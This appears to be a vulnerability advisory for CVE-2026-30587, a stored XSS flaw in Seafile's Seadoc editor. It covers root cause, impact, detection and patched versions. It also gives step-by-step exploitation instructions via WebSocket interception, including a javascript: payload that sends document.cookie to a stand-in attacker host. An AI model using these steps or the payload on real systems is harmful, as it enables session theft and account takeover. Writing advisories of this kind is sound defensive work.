CVE-2026-30587: 
JavaScript vulnerability analysis and mitigation

CVE-2026-30587 describes multiple Stored Cross-Site Scripting (XSS) vulnerabilities in Seafile Server's Seadoc (sdoc) document editor, stemming from insufficient sanitization of WebSocket messages during document structure updates. Affected versions include Seafile Server 13.0.15 (community), 13.0.16-pro, 12.0.14 and prior (professional editions up to 12.0.19-pro). Fixed versions are 13.0.17, 13.0.17-pro, and 12.0.20-pro. The vulnerability was disclosed on March 25, 2026, with a CVSS v3.1 base score of 8.7 (High) (Feedly, Red Hat Bugzilla).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting): the Seadoc editor fails to sanitize WebSocket frames that carry document structure updates server-side, allowing frontend input-validation controls to be bypassed entirely by intercepting and modifying WebSocket traffic (PoC Gist). Two distinct attack vectors exist: (1) injecting a javascript: URI into the src attribute of an embedded Excalidraw whiteboard element — this is a zero-click variant that executes automatically when any user opens the document; and (2) injecting a javascript: URI into the href attribute of an anchor tag — this requires a victim editor to click the malicious link. The fix adds URL validation using the is-url library in both the whiteboard and link rendering components, rejecting non-HTTP(S) URLs before rendering (seadoc-editor commit, seahub commit).

Successful exploitation allows an authenticated attacker to execute arbitrary JavaScript in the browser context of any user who views (or, for the anchor-tag variant, clicks within) the malicious document, including administrators. This enables session token theft, credential harvesting, unauthorized actions performed on behalf of victims (e.g., creating new admin accounts), and redirection to attacker-controlled sites. The zero-click Excalidraw variant is particularly severe as it requires no victim interaction beyond opening the document, and the changed scope (S:C) means the impact extends beyond the attacker's own session to other users' sessions (PoC Gist, Feedly).

A public proof-of-concept with detailed reproduction steps and video demonstrations is available on GitHub Gist, published by researcher gabdevele (PoC Gist). Exploitation requires only low privileges (any authenticated user with document editing access) and no special conditions beyond the ability to intercept WebSocket traffic (e.g., using a browser proxy such as Burp Suite). As of the disclosure date, there is no evidence of in-the-wild exploitation or threat actor attribution. The EPSS score is approximately 0.11%, and the vulnerability is not listed in the CISA KEV catalog (Feedly).

1. Authenticate: Log in to a vulnerable Seafile Server instance (version ≤ 13.0.15 community or ≤ 13.0.16-pro / ≤ 12.0.19-pro) with any account that has document editing permissions.
2. Open a Seadoc document: Navigate to or create an .sdoc document in the Seadoc editor.
3. Set up WebSocket interception: Configure a proxy tool (e.g., Burp Suite) to intercept WebSocket frames between the browser and the Seafile server.
4. Trigger a whiteboard insertion (zero-click variant): In the editor, insert an Excalidraw whiteboard element. Intercept the outgoing WebSocket frame that carries the whiteboard's source URL.
5. Inject malicious payload: Replace the legitimate whiteboard URL in the src attribute with a javascript: URI payload (e.g., javascript:fetch('https://attacker.com/steal?c='+document.cookie)). Forward the modified frame to the server, which stores it without sanitization.
6. Trigger anchor-tag injection (one-click variant, alternative): Insert a hyperlink in the document, intercept the WebSocket frame, and replace the href value with a javascript: URI. The payload executes when a victim editor clicks the link.
7. Payload execution: Any user who opens the document (zero-click) or clicks the malicious link (one-click) will have the JavaScript execute in their browser session, enabling session token exfiltration, admin account creation, or other malicious actions (PoC Gist).

• Network: WebSocket frames to the Seafile/Seadoc server containing javascript: URI schemes in document structure update messages (e.g., in src or href fields of sdoc element payloads); unexpected outbound HTTP requests from victim browsers to external domains shortly after opening sdoc documents.
• Logs: Seafile access logs showing document open events followed by unusual external requests; server-side WebSocket message logs (if enabled) containing javascript: strings in document update payloads.
• Application Behavior: Seadoc documents containing whiteboard elements with non-HTTP(S) src attributes or anchor tags with javascript: href values (detectable by inspecting raw sdoc document content stored on the server); unexpected admin account creation events in Seafile admin logs following document access.
• Browser: Unexpected JavaScript execution errors or network requests to unknown domains triggered from within the Seafile web interface (PoC Gist).

Upgrade Seafile Server to the patched versions: 13.0.17 (community), 13.0.17-pro (professional), or 12.0.20-pro (professional 12.x branch). The fix is implemented in @seafile/seafile-sdoc-editor version 3.0.78 and @seafile/comment-editor version 1.0.16, which add is-url validation to reject non-HTTP(S) URLs in whiteboard src and anchor href attributes before rendering (seahub commit, seadoc-editor commit). As a workaround prior to patching, restrict Seadoc document editing permissions to trusted users only and monitor WebSocket traffic for javascript: URI patterns in document update messages (Feedly).

Red Hat tracked the vulnerability via their Bugzilla system (Bug 2451404) and assigned it medium severity, reflecting its authenticated-only attack surface (Red Hat Bugzilla). The PoC author (gabdevele) published detailed reproduction steps and video demonstrations on GitHub Gist, noting the zero-click Excalidraw variant as particularly impactful against administrator accounts (PoC Gist). No broader media coverage or significant social media discussion has been identified beyond the initial disclosure.